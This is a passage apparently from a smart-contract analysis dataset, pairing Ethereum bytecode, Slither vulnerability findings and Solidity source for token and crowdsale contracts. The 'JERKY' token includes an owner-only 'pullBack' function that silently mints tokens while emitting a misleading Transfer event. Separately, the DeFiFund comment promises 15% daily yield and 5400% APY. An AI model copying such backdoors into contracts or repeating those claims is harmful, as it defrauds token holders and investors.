516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b158015610f8a57600080fd5b505afa158015610f9e573d6000803e3d6000fd5b505050506040513d6020811015610fb457600080fd5b5051604080519485526020850193909352838301919091526060830152519081900360800190a150565b60195481565b6013546001146110255760405162461bcd60e51b815260040180806020018281038252602d815260200180612ebc602d913960400191505060405180910390fd5b6007546001600160a01b031661106c5760405162461bcd60e51b8152600401808060200182810382526026815260200180612e216026913960400191505060405180910390fd5b6000601554116110ad5760405162461bcd60e51b8152600401808060200182810382526028815260200180612d266028913960400191505060405180910390fd5b6110bd6110b8611f92565b610519565b6110cb600d54600f54612ad3565b4210156111095760405162461bcd60e51b8152600401808060200182810382526032815260200180612d9d6032913960400191505060405180910390fd5b600154604080516311005b0760e01b8152306004820152905161119892611190926001600160a01b03909116916311005b0791602480820192602092909190829003018186803b15801561115c57600080fd5b505afa158015611170573d6000803e3d6000fd5b505050506040513d602081101561118657600080fd5b5051601554612ad3565b601654612ad3565b60015460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b1580156111e357600080fd5b505afa1580156111f7573d6000803e3d6000fd5b505050506040513d602081101561120d57600080fd5b5051101561124c5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c606025913960400191505060405180910390fd5b611254611f92565b156112a6576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e74696e67456e67696e652f646562742d6e6f742d7a65726f0000604482015290519081900360640190fd5b42600d819055600c5560015460075460155460408051633beaf2b760e21b81523060048201526001600160a01b039384166024820152604481019290925251919092169163efabcadc91606480830192600092919082900301818387803b15801561131057600080fd5b505af1158015611324573d6000803e3d6000fd5b5050600754600d5460015460408051633eaf7a0360e21b815230600482015290516001600160a01b0394851696507f09744986d27c373d65dbb8bf13661e8b68577739e9c4a77c5cd6f1682c009607955092939091169163fabde80c91602480820192602092909190829003018186803b1580156113a157600080fd5b505afa1580156113b5573d6000803e3d6000fd5b505050506040513d60208110156113cb57600080fd5b50516040805192835260208301919091528051918290030190a2565b60185481565b6007546001600160a01b031681565b60105481565b60135481565b60175481565b3360009081526020819052604090205460011461145c5760405162461bcd60e51b8152600401808060200182810382526027815260200180612cff6027913960400191505060405180910390fd5b8172737572706c757341756374696f6e486f75736560681b1415611563576001546002546040805163d49d786760e01b81526001600160a01b0392831660048201529051919092169163d49d786791602480830192600092919082900301818387803b1580156114cb57600080fd5b505af11580156114df573d6000803e3d6000fd5b5050600280546001600160a01b0319166001600160a01b0385811691821790925560015460408051631b29a84160e31b81526004810193909352519216935063d94d4208925060248082019260009290919082900301818387803b15801561154657600080fd5b505af115801561155a573d6000803e3d6000fd5b50505050611747565b81701cde5cdd195b54dd185ada5b99d41bdbdb607a1b141561160d57600580546001600160a01b0319166001600160a01b0383811691909117918290556040805163d405665560e01b81529051929091169163d405665591600480820192602092909190829003018186803b1580156115db57600080fd5b505afa1580156115ef573d6000803e3d6000fd5b505050506040513d602081101561160557600080fd5b506117479050565b816f6465627441756374696f6e486f75736560801b141561164857600380546001600160a01b0319166001600160a01b038316179055611747565b817f706f7374536574746c656d656e74537572706c7573447261696e000000000000141561169057600680546001600160a01b0319166001600160a01b038316179055611747565b817570726f746f636f6c546f6b656e417574686f7269747960501b14156116d157600480546001600160a01b0319166001600160a01b038316179055611747565b817332bc3a3930a9bab938363ab9a932b1b2b4bb32b960611b141561171057600780546001600160a01b0319166001600160a01b038316179055611747565b60405162461bcd60e51b815260040180806020018281038252602a815260200180612e6e602a913960400191505060405180910390fd5b604080516001600160a01b0383168152905183917fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1919081900360200190a25050565b6001546001600160a01b031681565b600e5481565b336000908152602081905260409020546001146117ed5760405162461bcd60e51b8152600401808060200182810382526027815260200180612cff6027913960400191505060405180910390fd5b60195460011461182e5760405162461bcd60e51b8152600401808060200182810382526025815260200180612dfc6025913960400191505060405180910390fd5b60006019819055600a819055600b819055426018556002546040805163894ba83360e01b815290516001600160a01b039092169263894ba8339260048084019382900301818387803b15801561188357600080fd5b505af1158015611897573d6000803e3d6000fd5b50505050600360009054906101000a90046001600160a01b03166001600160a01b031663894ba8336040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156118eb57600080fd5b505af11580156118ff573d6000803e3d6000fd5b505060015460408051633eaf7a0360e21b815230600482015290516001600160a01b0390921693506327a0bb339250611a0191849163fabde80c916024808301926020929190829003018186803b15801561195957600080fd5b505afa15801561196d573d6000803e3d6000fd5b505050506040513d602081101561198357600080fd5b5051600154604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b1580156119d057600080fd5b505afa1580156119e4573d6000803e3d6000fd5b505050506040513d60208110156119fa57600080fd5b5051612b89565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611a3757600080fd5b505af1158015611a4b573d6000803e3d6000fd5b505060185460175460015460408051633eaf7a0360e21b815230600482015290517ff444c796746af83b62874bc1bcf111eee758f29e8abd5b66019e455649487b7e965093945091926001600160a01b039091169163fabde80c916024808301926020929190829003018186803b158015611ac557600080fd5b505afa158015611ad9573d6000803e3d6000fd5b505050506040513d6020811015611aef57600080fd5b5051600154604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b158015611b3c57600080fd5b505afa158015611b50573d6000803e3d6000fd5b505050506040513d6020811015611b6657600080fd5b5051604080519485526020850193909352838301919091526060830152519081900360800190a1565b42611b9c82601054612ad3565b1115611bd95760405162461bcd60e51b815260040180806020018281038252602a815260200180612cd5602a913960400191505060405180910390fd5b600081815260086020526040902054611c39576040805162461bcd60e51b815260206004820181905260248201527f4163636f756e74696e67456e67696e652f6e756c6c2d646562742d626c6f636b604482015290519081900360640190fd5b600a54600082815260086020526040902054611c559190612b31565b600a908155600082815260096020908152604080832080546001600160a01b031916331790556008825291829020549254825193845290830152805142927f2a88971df34f4b7d590e86d77e5db54859c030b27c51e944a3d9e1d2bc6dbb4192908290030190a2600090815260086020526040812055565b33600090815260208190526040902054600114611d1b5760405162461bcd60e51b8152600401808060200182810382526027815260200180612cff6027913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6005546001600160a01b031681565b60155481565b6009602052600090815260409020546001600160a01b031681565b33600090815260208190526040902054600114611dea5760405162461bcd60e51b8152600401808060200182810382526027815260200180612cff6027913960400191505060405180910390fd5b42600090815260086020526040902054611e049082612ad3565b42600090815260086020526040902055600a54611e219082612ad3565b600a8190554260008181526008602090815260409182902054825190815290810193909352805191927f1833b2803878de6a92dfb6a19b452e31ec63baad0fd2e1e341e0dce55e4ed207929081900390910190a250565b6003546001600160a01b031681565b600d5481565b6004546001600160a01b031681565b6002546001600160a01b031681565b6005546000906001600160a01b0316611ec657506001611f7a565b600560009054906101000a90046001600160a01b03166001600160a01b031663d40566556040518163ffffffff1660e01b815260040160206040518083038186803b158015611f1457600080fd5b505afa925050508015611f3957506040513d6020811015611f3457600080fd5b505160015b611f77573d808015611f67576040519150601f19603f3d011682016040523d82523d6000602084013e611f6c565b606091505b506001915050611f7a565b90505b90565b6006546001600160a01b031681565b600c5481565b600154604080516311005b0760e01b81523060048201529051600092611f779261201c926001600160a01b03909216916311005b0791602480820192602092909190829003018186803b158015611fe857600080fd5b505afa158015611ffc573d6000803e3d6000fd5b505050506040513d602081101561201257600080fd5b5051600a54612b31565b600b54612b31565b60145481565b6019541561207f576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e74696e67456e67696e652f7374696c6c2d656e61626c65640000604482015290519081900360640190fd5b4261208e601854601754612ad3565b11156120cb5760405162461bcd60e51b8152600401808060200182810382526024815260200180612e986024913960400191505060405180910390fd5b60015460408051633eaf7a0360e21b815230600482015290516001600160a01b03909216916327a0bb339161212191849163fabde80c916024808301926020929190829003018186803b15801561195957600080fd5b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561215757600080fd5b505af115801561216b573d6000803e3d6000fd5b505060015460065460408051633eaf7a0360e21b8152306004820181905291516001600160a01b03948516965063efabcadc9550919390921691859163fabde80c91602480820192602092909190829003018186803b1580156121cd57600080fd5b505afa1580156121e1573d6000803e3d6000fd5b505050506040513d60208110156121f757600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015292909316602483015260448201529051606480830192600092919082900301818387803b15801561224e57600080fd5b505af1158015612262573d6000803e3d6000fd5b505060065460015460408051633eaf7a0360e21b815230600482015290517f618b53208bc1d7a537afbb52ff1788ab48eaa72099e2cc87ed9a251a4029d17995506001600160a01b039384169450919092169163fabde80c916024808301926020929190829003018186803b1580156122da57600080fd5b505afa1580156122ee573d6000803e3d6000fd5b505050506040513d602081101561230457600080fd5b5051600154604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b15801561235157600080fd5b505afa158015612365573d6000803e3d6000fd5b505050506040513d602081101561237b57600080fd5b5051604080516001600160a01b039094168452602084019290925282820152519081900360600190a1565b60115481565b336000908152602081905260409020546001146123fa5760405162461bcd60e51b8152600401808060200182810382526027815260200180612cff6027913960400191505060405180910390fd5b8172737572706c757341756374696f6e44656c617960681b141561242257600e81905561266e565b8173737572706c75735472616e7366657244656c617960601b141561244b57600f81905561266e565b816b706f704465627444656c617960a01b141561246c57601081905561266e565b817f737572706c757341756374696f6e416d6f756e74546f53656c6c000000000000141561249e57601481905561266e565b81741cdd5c9c1b1d5cd51c985b9cd9995c905b5bdd5b9d605a1b14156124c857601581905561266e565b817f6578747261537572706c757349735472616e736665727265640000000000000014156124fa57601381905561266e565b81716465627441756374696f6e42696453697a6560701b141561252157601281905561266e565b817f696e697469616c4465627441756374696f6e4d696e746564546f6b656e730000141561255357601181905561266e565b816c39bab938363ab9a13ab33332b960991b141561257557601681905561266e565b817f6c617374537572706c75735472616e7366657254696d6500000000000000000014156125e5574281116125db5760405162461bcd60e51b8152600401808060200182810382526030815260200180612ba36030913960400191505060405180910390fd5b600d81905561266e565b81756c617374537572706c757341756374696f6e54696d6560501b141561264e574281116126445760405162461bcd60e51b815260040180806020018281038252602f815260200180612c85602f913960400191505060405180910390fd5b600c81905561266e565b816e3234b9b0b13632a1b7b7b63237bbb760891b14156117105760178190555b60408051828152905183917fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a919081900360200190a25050565b6000601354600114156126ec5760405162461bcd60e51b815260040180806020018281038252602c815260200180612c34602c913960400191505060405180910390fd5b60006014541161272d5760405162461bcd60e51b8152600401808060200182810382526027815260200180612e476027913960400191505060405180910390fd5b6127386110b8611f92565b612746600c54600e54612ad3565b4210156127845760405162461bcd60e51b8152600401808060200182810382526031815260200180612c036031913960400191505060405180910390fd5b600154604080516311005b0760e01b8152306004820152905161280b92611190926001600160a01b03909116916311005b0791602480820192602092909190829003018186803b1580156127d757600080fd5b505afa1580156127eb573d6000803e3d6000fd5b505050506040513d602081101561280157600080fd5b5051601454612ad3565b60015460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b15801561285657600080fd5b505afa15801561286a573d6000803e3d6000fd5b505050506040513d602081101561288057600080fd5b505110156128bf5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c606025913960400191505060405180910390fd5b6128c7611f92565b15612919576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e74696e67456e67696e652f646562742d6e6f742d7a65726f0000604482015290519081900360640190fd5b60025460408051631a465fe160e01b815290516000926001600160a01b031691631a465fe1916004808301926020929190829003018186803b15801561295e57600080fd5b505afa158015612972573d6000803e3d6000fd5b505050506040513d602081101561298857600080fd5b50516001600160a01b031614156129d05760405162461bcd60e51b8152600401808060200182810382526030815260200180612ee96030913960400191505060405180910390fd5b42600c819055600d55600254601454604080516313fb84ff60e21b8152600481019290925260006024830181905290516001600160a01b0390931692634fee13fc926044808201936020939283900390910190829087803b158015612a3457600080fd5b505af1158015612a48573d6000803e3d6000fd5b505050506040513d6020811015612a5e57600080fd5b5051600c5460015460408051633eaf7a0360e21b8152306004820152905193945084937f7d0821ff1f59d07fef9cd0f28753cd787fc228208807379c23b9eecddccd6b0793926001600160a01b03169163fabde80c916024808301926020929190829003018186803b158015610cf057600080fd5b80820182811015612b2b576040805162461bcd60e51b815260206004820152601d60248201527f4163636f756e74696e67456e67696e652f6164642d6f766572666c6f77000000604482015290519081900360640190fd5b92915050565b80820382811115612b2b576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e74696e67456e67696e652f7375622d756e646572666c6f770000604482015290519081900360640190fd5b600081831115612b995781612b9b565b825b939250505056fe4163636f756e74696e67456e67696e652f696e76616c69642d6c617374537572706c75735472616e7366657254696d654163636f756e74696e67456e67696e652f6e6f742d656e6f7567682d646562742d6265696e672d61756374696f6e65644163636f756e74696e67456e67696e652f737572706c75732d61756374696f6e2d64656c61792d6e6f742d7061737365644163636f756e74696e67456e67696e652f737572706c75732d7472616e736665722d6e6f2d61756374696f6e4163636f756e74696e67456e67696e652f696e73756666696369656e742d737572706c75734163636f756e74696e67456e67696e652f696e76616c69642d6c617374537572706c757341756374696f6e54696d654163636f756e74696e67456e67696e652f737572706c75732d6e6f742d7a65726f4163636f756e74696e67456e67696e652f706f702d646562742d64656c61792d6e6f742d7061737365644163636f756e74696e67456e67696e652f6163636f756e742d6e6f742d617574686f72697a65644163636f756e74696e67456e67696e652f6e756c6c2d616d6f756e742d746f2d7472616e736665724163636f756e74696e67456e67696e652f696e73756666696369656e742d646562744163636f756e74696e67456e67696e652f646562742d61756374696f6e2d686f7573652d6e756c6c2d70726f744163636f756e74696e67456e67696e652f737572706c75732d7472616e736665722d64656c61792d6e6f742d7061737365644163636f756e74696e67456e67696e652f7374616b696e672d706f6f6c2d64656e6965732d7072696e74696e674163636f756e74696e67456e67696e652f636f6e74726163742d6e6f742d656e61626c65644163636f756e74696e67456e67696e652f6e756c6c2d737572706c75732d72656365697665724163636f756e74696e67456e67696e652f6e756c6c2d616d6f756e742d746f2d61756374696f6e4163636f756e74696e67456e67696e652f6d6f646966792d756e7265636f676e697a65642d706172616d4163636f756e74696e67456e67696e652f636f6f6c646f776e2d6e6f742d7061737365644163636f756e74696e67456e67696e652f737572706c75732d61756374696f6e2d6e6f742d7472616e736665724163636f756e74696e67456e67696e652f737572706c75732d61756374696f6e2d686f7573652d6e756c6c2d70726f744163636f756e74696e67456e67696e652f646562742d61756374696f6e2d686f7573652d63616e6e6f742d7072696e742d70726f74a26469706673582212209e5ee131cf804ed7b9ec51496c3b7b7081bd9a7e21a81ab0caa53d2bc2c7bbaf64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,205
0x6ee48ae8bca95e9567aff9669d3119c96362a77c
/** * Investors relations: <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="741510191d1a341506161d000615131d1a135a171b">[email&#160;protected]</a> **/ pragma solidity ^0.4.24; /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Standard * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface OldSHITToken { function transfer(address receiver, uint amount) external; function balanceOf(address _owner) external returns (uint256 balance); function showMyTokenBalance(address addr) external; } contract BEEFJERKY is ERC20Interface,Ownable { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) tokenBalances; string public constant name = "JERKY"; string public constant symbol = "JERK"; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000; address ownerWallet; // Owner of account approves the transfer of an amount to another account mapping (address => mapping (address => uint256)) allowed; event Debug(string message, address addr, uint256 number); function BEEFJERKY (address wallet) public { owner = msg.sender; ownerWallet=wallet; totalSupply = INITIAL_SUPPLY * 10 ** 18; tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(tokenBalances[msg.sender]>=_value); tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= tokenBalances[_from]); require(_value <= allowed[_from][msg.sender]); tokenBalances[_from] = tokenBalances[_from].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - tokenBalances[address(0)]; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance) { return tokenBalances[_owner]; } function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner { require(tokenBalances[buyer]<=tokenAmount); tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount); Transfer(buyer, wallet, tokenAmount); } function showMyTokenBalance(address addr) public view returns (uint tokenBalance) { tokenBalance = tokenBalances[addr]; } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac57806323b872dd146101d35780632ff2e9dc146101fd578063313ce56714610212578063661884631461022757806370a082311461024b57806377eefa5a1461026c5780638da5cb5b146102985780638fe476251461024b57806395d89b41146102c9578063a9059cbb146102de578063d73dd62314610302578063dd62ed3e14610326578063f2fde38b1461034d575b600080fd5b3480156100f657600080fd5b506100ff61036e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a03600435166024356103a5565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c161040b565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600160a060020a036004358116906024351660443561043d565b34801561020957600080fd5b506101c16105b6565b34801561021e57600080fd5b506101c16105bd565b34801561023357600080fd5b50610198600160a060020a03600435166024356105c2565b34801561025757600080fd5b506101c1600160a060020a03600435166106b2565b34801561027857600080fd5b50610296600160a060020a03600435811690602435166044356106cd565b005b3480156102a457600080fd5b506102ad6107c3565b60408051600160a060020a039092168252519081900360200190f35b3480156102d557600080fd5b506100ff6107d2565b3480156102ea57600080fd5b50610198600160a060020a0360043516602435610809565b34801561030e57600080fd5b50610198600160a060020a03600435166024356108d5565b34801561033257600080fd5b506101c1600160a060020a036004358116906024351661096e565b34801561035957600080fd5b50610296600160a060020a0360043516610999565b60408051808201909152600581527f4a45524b59000000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a038316151561045457600080fd5b600160a060020a03841660009081526002602052604090205482111561047957600080fd5b600160a060020a03841660009081526004602090815260408083203384529091529020548211156104a957600080fd5b600160a060020a0384166000908152600260205260409020546104d2908363ffffffff610a2d16565b600160a060020a038086166000908152600260205260408082209390935590851681522054610507908363ffffffff610a3f16565b600160a060020a03808516600090815260026020908152604080832094909455918716815260048252828120338252909152205461054b908363ffffffff610a2d16565b600160a060020a03808616600081815260046020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6298968081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561061757336000908152600460209081526040808320600160a060020a038816845290915281205561064c565b610627818463ffffffff610a2d16565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031633146106e457600080fd5b600160a060020a03821660009081526002602052604090205481101561070957600080fd5b600160a060020a038216600090815260026020526040902054610732908263ffffffff610a3f16565b600160a060020a038084166000908152600260205260408082209390935590851681522054610767908263ffffffff610a3f16565b600160a060020a0380851660008181526002602090815260409182902094909455805185815290519193928616927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600054600160a060020a031681565b60408051808201909152600481527f4a45524b00000000000000000000000000000000000000000000000000000000602082015281565b3360009081526002602052604081205482111561082557600080fd5b33600090815260026020526040902054610845908363ffffffff610a2d16565b3360009081526002602052604080822092909255600160a060020a03851681522054610877908363ffffffff610a3f16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600460209081526040808320600160a060020a0386168452909152812054610909908363ffffffff610a3f16565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a031633146109b057600080fd5b600160a060020a03811615156109c557600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a3957fe5b50900390565b600082820183811015610a4e57fe5b93925050505600a165627a7a723058207b19c467322a0663648df4958d12967618318108a7c9c808b1699f28795d3ae20029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,206
0xdf33f62007f5bdd78cabf0ada5009ae42620ae2b
/* The DeFiFund is a hedge fund based on cryptocurrencies that helps to all investors in our fund to minimize the risks of investing in cryptocurrencies and increase yield from 15% per day. APY 5400% per annum. website https://www.DeFiEtherFund.com */ pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; address payable private _wallet; uint256 private _rate; uint256 private _weiRaised; event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate > 0); require(wallet != address(0)); require(address(token) != address(0)); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns (IERC20) { return _token; } function wallet() public view returns (address payable) { return _wallet; } function rate() public view returns (uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0)); require(weiAmount != 0); } function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { uint256 tokenAmount = weiAmount.mul(_rate); if (weiAmount 